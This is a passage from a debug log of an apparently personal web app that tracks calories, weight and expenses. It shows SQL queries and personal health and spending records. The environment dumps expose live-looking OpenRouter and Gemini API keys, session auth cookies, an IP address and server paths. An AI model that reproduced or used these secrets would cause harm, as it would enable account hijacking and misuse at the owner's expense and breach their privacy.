  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T04:52:54.456Z server-connect:output item_list: [
  {
    id: 460,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea,BCAA supplements (calorie-free)',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 2,
    skip_reason: "Pre-workouts vary greatly in ingredients and calorie content. Some can contain significant amounts of sugar or artificial sweeteners, and their effectiveness for muscle development can be debated. While generally safe, it's good to be mindful of what's in your specific pre-workout."
  },
  {
    id: 461,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm',
    replacements: 'Tofu (firm or extra-firm),Low-fat cottage cheese,Chicken breast,Egg whites',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 1,
    skip_reason: "Paneer is a good source of protein and fat, essential for muscle development. While it's relatively high in calories and fat, in moderation and as part of a balanced diet, it's beneficial for your goals."
  }
]
2025-12-20T04:52:54.456Z server-connect:app Executing action step setvalue
2025-12-20T04:52:54.456Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-20T04:52:54.456Z server-connect:output var_total: 352
2025-12-20T04:52:54.456Z server-connect:app Executing action step setvalue
2025-12-20T04:52:54.456Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-20T04:52:54.456Z server-connect:output var_consumed: 15
2025-12-20T04:52:54.456Z server-connect:app Executing action step setvalue
2025-12-20T04:52:54.456Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-20T04:52:54.456Z server-connect:output var_deficit: 2048
2025-12-20T04:52:54.456Z server-connect:app Executing action step custom
2025-12-20T04:52:54.456Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-20T04:52:54.458Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '352',
    surplus_or_deficit: '2048',
    status_flag: 2
  }
]
2025-12-20T04:52:55.003Z server-connect:app Executing action step identify
2025-12-20T04:52:55.003Z server-connect:app options: { provider: 'security' }
2025-12-20T04:52:55.003Z server-connect:output identity: 1
2025-12-20T04:54:46.096Z server-connect:router Serving templateView /weight-trackor
2025-12-20T04:54:46.096Z server-connect:app Executing action step identify
2025-12-20T04:54:46.096Z server-connect:app options: { provider: 'security' }
2025-12-20T04:54:46.096Z server-connect:output identity: 1
2025-12-20T04:54:46.096Z server-connect:app Executing action step restrict
2025-12-20T04:54:46.096Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T04:54:46.098Z server-connect:output restrict: undefined
2025-12-20T04:54:46.098Z server-connect:router Render template weight-trackor
2025-12-20T04:54:46.098Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.251.138',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.251.138',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.251.138',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T04:54:46.435Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-20T04:54:46.435Z server-connect:app Executing action step identify
2025-12-20T04:54:46.435Z server-connect:app options: { provider: 'security' }
2025-12-20T04:54:46.435Z server-connect:output identity: 1
2025-12-20T04:54:46.435Z server-connect:app Executing action step restrict
2025-12-20T04:54:46.435Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:54:46.435Z server-connect:output restrict: undefined
2025-12-20T04:54:46.436Z server-connect:app Executing action step custom
2025-12-20T04:54:46.436Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-20T04:54:46.437Z server-connect:output list: [
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-20T04:55:14.520Z server-connect:router Serving templateView /expense/list
2025-12-20T04:55:14.521Z server-connect:app Executing action step identify
2025-12-20T04:55:14.521Z server-connect:app options: { provider: 'security' }
2025-12-20T04:55:14.521Z server-connect:output identity: 1
2025-12-20T04:55:14.521Z server-connect:app Executing action step restrict
2025-12-20T04:55:14.521Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T04:55:14.521Z server-connect:output restrict: undefined
2025-12-20T04:55:14.521Z server-connect:router Render template expense/list
2025-12-20T04:55:14.522Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.251.138',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.251.138',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.251.138',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T04:55:14.769Z server-connect:router Serving serverConnect /api/expense/list
2025-12-20T04:55:14.770Z server-connect:app Executing action step identify
2025-12-20T04:55:14.770Z server-connect:app options: { provider: 'security' }
2025-12-20T04:55:14.770Z server-connect:output identity: 1
2025-12-20T04:55:14.770Z server-connect:app Executing action step restrict
2025-12-20T04:55:14.770Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:55:14.770Z server-connect:output restrict: undefined
2025-12-20T04:55:14.770Z server-connect:app Executing action step paged
2025-12-20T04:55:14.770Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-20T04:55:14.781Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
